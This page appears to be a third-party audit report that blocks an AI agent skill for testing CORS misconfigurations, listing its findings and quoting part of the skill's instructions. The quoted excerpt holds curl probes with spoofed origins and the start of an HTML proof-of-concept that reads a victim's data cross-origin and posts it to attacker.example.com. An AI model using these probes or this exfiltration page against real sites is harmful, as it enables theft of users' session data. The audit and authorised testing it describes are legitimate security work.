Agent skill · Audited from source
Testing Cors Misconfiguration
skill · mukul975/Anthropic-Cybersecurity-SkillsApache-2.0 licenceAudited 7 Oct 2026 · source 6c59587be632
Is it safe? No — BLOCK, grade D (69/100). We read this skill's source at commit 6c59587be632 and observed network access and no hard-coded secrets. The audit raised 10 findings, 5 critical or high. What it does: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations
Cite
Cite this page
ModelsAtlas. “Testing Cors Misconfiguration (mukul975/Anthropic-Cybersecurity-Skills)”. Retrieved 7 Oct 2026. https://modelsatlas.com/skills/mukul975/testing-cors-misconfiguration
Blocked. The page stays public so you can check this skill if someone recommended it to you. The audit found 5 critical or high findings, starting with “Prompt injection” in SKILL.md:4. Do not install it without reading them.
Trust audit
Audit 0.4.1 · source read 7 Oct 2026
BLOCK means the audit found something that could harm you or your machine. Grade D is shared by 749 of 18,389 audited skills.
What the source does
- FilesystemNone observedNo reads or writes in the source
- NetworkDeclared6 observations
- ShellNone observedNo commands run in the source
- DependenciesPinnedNothing floats
- SecretsNone foundNo keys in source
Five audit layers
| Layer | What we check | Result | Findings |
|---|---|---|---|
L0 Provenance | Repo owner, licence, archive status, activity | PASS | 0 |
L1 Static source | Secrets, path traversal, supply chain, hidden code | WARN | 5 |
L2 Instructions | Prompt injection, authority framing, hidden directives | FAIL | 5 |
L3 Inventory | The files and declarations match the source | PASS | 0 |
L4 Sandbox | Run in isolation and watch behaviour | SKIPPED why | 0 |
Gates applied: no behavioural pass.
Findings (10)
HIGHPrompt injectionprompt.credential_read · SKILL.md:4
that allow unauthorized cross-domain data access and credential theft during security
- Why
- asks the agent to read credentials
- Fix
- —
HIGHPrompt injectionprompt.credential_read · SKILL.md:64
# Access-Control-Allow-Origin: * (BAD if with credentials)
- Why
- asks the agent to read credentials
- Fix
- —
HIGHPrompt injectionprompt.credential_read · SKILL.md:65
# Access-Control-Allow-Credentials: true (allows cookies)
- Why
- asks the agent to read credentials
- Fix
- —
HIGHPrompt injectionprompt.credential_read · SKILL.md:116
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
- Why
- asks the agent to read credentials
- Fix
- —
HIGHPrompt injectionprompt.credential_read · SKILL.md:216
If server reflects Access-Control-Allow-Origin: null with credentials,
- Why
- asks the agent to read credentials
- Fix
- —
MEDIUMNetwork egressnet.raw_ip · SKILL.md:252
"http://127.0.0.1"
- Why
- No further detail recorded for this rule.
- Fix
- —
MEDIUMNetwork egressnet.raw_ip · SKILL.md:253
"http://192.168.1.1"
- Why
- No further detail recorded for this rule.
- Fix
- —
MEDIUMNetwork egressnet.raw_ip · SKILL.md:254
"http://10.0.0.1"
- Why
- No further detail recorded for this rule.
- Fix
- —
MEDIUMNetwork egressnet.raw_ip · scripts/agent.py:20
"http://127.0.0.1",
- Why
- No further detail recorded for this rule.
- Fix
- —
MEDIUMNetwork egressnet.raw_ip · scripts/agent.py:137
"http://127.0.0.1", "http://10.0.0.1", "http://192.168.1.1",
- Why
- No further detail recorded for this rule.
- Fix
- —
Audit 0.4.1 · source sha 6c59587be632 · 7 Oct 2026Report an issue or request a re-scan
Provenance
Who published it, and what the verdict is pinned to
- Publishermukul975 GitHub userOwner of the repository this skill is read from
- Source foldermukul975/Anthropic-Cybersecurity-Skills/skills/testing-cors-misconfigurationThe exact folder we audited
- LicenceApache-2.0As the repository states it
- Commit pinned for this verdict6c59587be632A new audit runs when the source changes
- Repository statusNot archivedLast push 37 days ago
- Sandboxed runNot runSkills are read, not executed; layer L4 is skipped
What it tells the agent
Full source on GitHub ↗Its description: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations
---
name: testing-cors-misconfiguration
description: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations
that allow unauthorized cross-domain data access and credential theft during security
assessments.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- cors
- web-security
- owasp
- same-origin-policy
- burpsuite
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1003
---
# Testing CORS Misconfiguration
## When to Use
- During authorized penetration tests when assessing API endpoints for cross-origin access controls
- When testing single-page applications that make cross-origin API requests
- For evaluating whether sensitive data can be exfiltrated from a victim's browser session
- When assessing microservice architectures with multiple domains sharing data
- During security audits of applications using CORS headers for cross-domain communication
## Prerequisites
- **Authorization**: Written penetration testing agreement for the target
- **Burp Suite Professional**: For intercepting and modifying Origin headers
- **Browser with DevTools**: For observing CORS behavior in real browser context
- **Attacker web server**: For hosting CORS exploitation PoC pages
- **curl**: For manual CORS header testing
- **Python HTTP server**: For hosting exploit pages locally
## Workflow
### Step 1: Identify CORS Configuration on Target Endpoints
Check all API endpoints for CORS response headers.
```bash
# Test with a foreign Origin header
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# Check for CORS headers in response:
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
# Access-Control-Allow-Origin: * (BAD if with credentials)
# Access-Control-Allow-Credentials: true (allows cookies)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
```
### Step 2: Test Origin Reflection and Validation Bypass
Determine how the server validates the Origin header.
```bash
# Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
```
### Step 3: Test Preflight Request Handling
Assess how the server handles OPTIONS preflight requests.
```bash
# Send preflight request
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# Check:
# Access-Control-Allow-Methods: should only list needed methods
# Access-Control-Allow-Headers: should only list needed headers
# Access-Control-Max-Age: preflight cache duration (long = risky)
# Test if dangerous methods are allowed
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# Test if preflight is cached too long
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400 (1 day) allows prolonged abuse after policy change
```
### Step 4: Craft CORS Exploitation Proof of Concept
Build an HTML page that exploits the CORS misconfiguration to steal data.
```html
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', Excerpt, first 6,000 characters of SKILL.md, verbatim from the audited commit. It is text from someone else’s repository, quoted so you can judge it before your agent reads it.
Install
Pinned to the audited commit 6c59587
git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills git -C Anthropic-Cybersecurity-Skills checkout 6c59587be632
The author documents no install command, so this uses the repository directly. Our verdict covers commit 6c59587be632 only.
Works in
The author has not said which agents this skill supports, and we have not tested it in any.
Audit history
Every audit, every source change
- ✕BLOCK D 69 / 100
first audit · source
6c59587be632
README badge
For maintainers · shows the latest audit
[](https://modelsatlas.com/skills/mukul975/testing-cors-misconfiguration/)
The badge shows our verdict and grade for this skill, and links back to this page. It changes when the audit does.
Similar skills
All testing skills →mukul975/Anthropic-Cybersecurity-Skills
Analyze the NTFS Master File Table ($MFT) with MFTECmd, analyzeMFT,
mukul975/Anthropic-Cybersecurity-Skills
Detect and analyze covert communication channels used by malware, including
mukul975/Anthropic-Cybersecurity-Skills
Parse NetFlow v9 and IPFIX records to detect volumetric anomalies, port
mukul975/Anthropic-Cybersecurity-Skills
Use Scapy to craft, send, sniff, and dissect TCP/UDP/ICMP/DNS packets, analyze pcap files, implement SYN scans, and detect anomalous traffic such as fragmented or malformed packets. Use when performing authorized…
mukul975/Anthropic-Cybersecurity-Skills
Analyzes network traffic captures and flow data to identify adversary activity during security incidents, including
mukul975/Anthropic-Cybersecurity-Skills
Analyzes network traffic generated by malware during sandbox execution
Add this badge to your README
[](https://modelsatlas.com/skills/mukul975/testing-cors-misconfiguration/)
<a href="https://modelsatlas.com/skills/mukul975/testing-cors-misconfiguration/"><img src="https://modelsatlas.com/skills/mukul975/testing-cors-misconfiguration/badge.svg" alt="ModelsAtlas: BLOCK D"></a>
Questions about Testing Cors Misconfiguration
What does the Testing Cors Misconfiguration skill do?
Is Testing Cors Misconfiguration safe to install?
What can Testing Cors Misconfiguration access on my machine?
How current is this page?
Sources
- github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/ski — the audited source at commit 6c59587be632 and every finding aboveObserved · 7 Oct 2026
Spotted something wrong? Report a correction · Methodology
Keep going in your AI
Opens with this page as the source. We add nothing else to the prompt.
- What does the Testing Cors Misconfiguration skill do?
- Is Testing Cors Misconfiguration safe to install?
- What can Testing Cors Misconfiguration access on my machine?